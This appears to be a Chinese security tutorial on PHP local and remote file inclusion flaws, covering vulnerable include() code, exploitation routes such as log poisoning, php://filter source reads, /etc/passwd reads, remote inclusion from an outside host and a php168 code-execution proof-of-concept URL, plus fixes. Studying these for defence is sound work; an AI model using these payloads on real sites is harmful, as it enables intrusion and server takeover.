10_文件包含漏洞(属于任意代码执行)

一、背景介绍

  随着网站业务的需求,web脚本可能允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。

二、漏洞成因

  文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。被包含的文件在第三方服务器时,就形成了远程文件包含漏洞。

  本地到远程:如果php.ini的配置选项allow_url_fopen和allow_url_include为ON的话,则文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。

  include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

  include_once():这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了。

  require():跟include唯一不同的是,当产生错误时,include下面继续运行而require停止运行了。

  require_once():它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

  看到这四个函数时,看到有参数,且参数可控,没有过滤,或过滤不严,就一定有文件包含漏洞。

  常见漏洞代码:

if(isset($_GET[page])){
  include $_GET[page];
} else {
include "home.php";
}

  触发漏洞的条件:

    web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件。

    用户能够控制该动态变量。

三、漏洞分类

  1.本地文件包含

  2.远程文件包含

  3.文件包含

四、漏洞危害

  执行恶意脚本代码

  控制网站

  甚至控制服务器

五、漏洞利用

  1.本地文件包含

    上传图片,包含图片GetShell。

    读文件,读PHP文件。

    包含日志文件GetShell。

    包含/proc/self/environ文件GetShell

    如果有phpinfo可以包含临时文件

    包含data://或php://input等伪协议(需要allow_url_include=On)

  例子:包含上传的图片GetShell_1:

<?php
    if($_GET[page]){
    include($_GET[page]);
    }else{
    include "show.php";
    }
?>

GetShell_2:

<?php
    if($_GET[page]){
    include("./action/".$_GET[page]);
    }else{
    include "./action/show.php"
    }
?>

GetShell_3:  %00截断

<?php
    if($_GET[page]){
    include("./action/".$_GET[page].".php");
    }else{
    include "./action/show.php";
    }
?>

  2.读文件   index.php?file=/etc/passwd

    2.1敏感文件(见pdf10)

    2.2读PHP文件       

http://127.0.0.1/lfi/1/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

读的结果是一串密文,解密就看出来php代码了

    2.3包含日志文件Getshell(首先找到日志文件存放位置,让日志文件插入php代码,包含日志文件)

      1.首先找到日志文件存放位置 

        文件包含漏洞去读取apache配置文件/etc/httpd/conf/httpd.conf

        php文件错误信息保存在错误日志里面,其他的都保存在正常访问的日志里面/var/log/httpd/access_log

      2.让日志文件插入php代码

        burp改包,curl发包,php代码插入(必须带有php标签的,不能是转码后的)到get请求部分,或者user-agent部分。

      3.包含日志文件

        index.php?page=/var/log/httpd/access_log

    3.包含环境变量文件GetShell

      需要PHP运行在CGI模式、然后和包含日志一样,在User-agent修改成payload。

    4.远程文件包含

      前提是:有远程文件包含漏洞的服务器的php.ini的配置选项allow_url_fopen和allow_url_include为ON。

       远程服务器存放一个txt文件,或者不被解析的php文件。index.php?page=http://www.xxx.com/1.txt

    5.扩展两个伪协议:  

      

六、漏洞挖掘

  无通用性方法

  特定的CMS,特定的版本可能存在漏洞

  web漏洞扫描器扫描,常见web漏洞扫描器都支持文件包含漏洞的检测。

七、修复方案

  PHP中可以使用open_basedir配置限制访问限制在指定的区域。

  过滤.(点) /(反斜杠) \(反斜杠)

  禁止服务器远程文件包含

  

  

时间: 2024-10-07 06:47:10

10_文件包含漏洞(属于任意代码执行)的相关文章

Git漏洞允许任意代码执行(CVE-2018-17456)复现

Git漏洞允许任意代码执行(CVE-2018-17456) 国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节.10月5日,Git项目披露了一个漏洞,编号为CVE-2018-17456.当用户克隆恶意存储库时,该漏洞可能会导致执行任意代码. 漏洞描述 这个漏洞已被分配 CVE-2018-17456 这个唯一 ID,与之前的 CVE-2017-1000117 可选注入漏洞相似 -- 恶意仓库可以新建一个 .gitmodules 文件,其中包含以破折号开头的

网站安全(7) —— PHP文件包含漏洞介绍

其原理就是注入一段用户能控制的脚本或代码,并让服务端执行.文件包含漏洞可能出现在JSP.PHP. ASP等语言中,原理都是一样的,本文只介绍PHP文件包含漏洞. 要想成功利用文件包含漏洞进行攻击,需要满足以下两个条件: 1. Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 (文件包含函数还有 include_once().require().require_once()) 2. 用户能够控制该动态变量 现在来看一段简单的文件包含代码: ? 1 2 3 <?ph

文件包含漏洞详解

文件包含漏洞 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间.这意味着您可以创建供所有网页引用的标准页眉或菜单文件.当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接). 产生原因:文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码. PHP中文件包含函数有以下四种: require(

web安全原理-文件包含漏洞

前言 起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了  拿出买的书开始从头学习总结文件包含漏洞! 一.文件包含漏洞 文件包含漏洞 文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件.如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行. 文件包含漏洞肯能会造成服务器网页被篡改.网站被挂马.服务器被远程控制.被安装后门等危害. 常见的文件包含函数: 1.include() 包含并运行制定文件.在出错时

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理 这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理. ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码. 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码. 其实官方是清楚这个漏洞的,在文档里有说明: First, you should not run Elasticsearch as

PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案

首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行. 这个漏洞影响php-5.3.12以前的版本,mod方式.fpm方式不受影响. 既然出现了,那就补吧,以下都是自己亲身经验,本着开源精神,做个分享,欢迎留言! 三种方案: 1.升级php版本:(php-5.3.12以

20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞(附实战exp)

Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行. 值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响

php 168任意代码执行漏洞之php的Complex (curly) syntax

今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML 通过代码审计得知,最后会执行 eval("\$array[showurl]=\"$filename_b\";"); 而$filename_b最终值